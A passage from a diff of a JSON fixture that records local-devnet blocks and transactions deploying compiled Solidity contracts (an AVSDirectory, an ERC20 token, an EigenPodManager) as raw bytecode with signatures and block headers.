28352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "r": "0x5297b60d697d47fe9bdbf3f108cf77de27d3765ee9aaff6008aebdbd4b7e8f31", + "s": "0x2c82d85441f2a961a5de55ba8c682226a86c00da9b9c56641ac60915f927315a", + "yParity": "0x0", + "hash": "0x18eb6e3b17bc80bb91bbb894abe9fcda9515e26caad9f936a8c7539c2eb1818a" } }, "impersonated_sender": null @@ -675,22 +723,22 @@ }, { "header": { - "parentHash": "0x1b66e4daade697ba1e5723ea9c0548ffb1f11de79d6fa07394bf8f4022c3724f", + "parentHash": "0xae1660db424986b7c00debbd2bbd53bb8294f0365b9db692d56c3b78c100342d", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0xcbdb035427d491d31d4f17f4df3a1c5d65b3785ade0257e30339ece23d8e1c58", - "transactionsRoot": "0x6aff3ceaa9784eb771580c1871627b1eb3006f36ae26a96f414b8ee51b5007d9", - "receiptsRoot": "0x7c5011d33322043f2aee7a849bd01b282e95b36e93cca411853e930e7fff96fd", + "stateRoot": "0x528ab5ba3f5d46f421a4eb62b1b6e3e0f5ef612b00cd5c8e2cdd746b5e0119c3", + "transactionsRoot": "0x0fbda8cefc1a4d757187d222b799c68aa3bb815ceb5ed4436d2822cbef809771", + "receiptsRoot": "0xf868ca20a73ab3e354cda4f0f471f25ce5c92188d283db9856b64f8f8da20b36", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000001000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x12", + "number": "0xe", "gasLimit": "0x1c9c380", - "gasUsed": "0xde9e2", - "timestamp": "0x67212bff", + "gasUsed": "0x2bceba", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x83ad344", + "baseFeePerGas": "0xd26dba7", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -701,36 +749,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x1b", - "gas": "0x6b713", + "nonce": "0x11", + "gas": "0x38eed1", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033", - "r": "0xe9b95906216f312ac6ba6e2f49fe4e2ec42f1eef4e648eccfe0c15556e4aef54", - "s": "0x137b091a39020f772abdb8b60bfe0c2dbd5a8484cf52f3cf230b479e3c368051", + "input": "0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b60026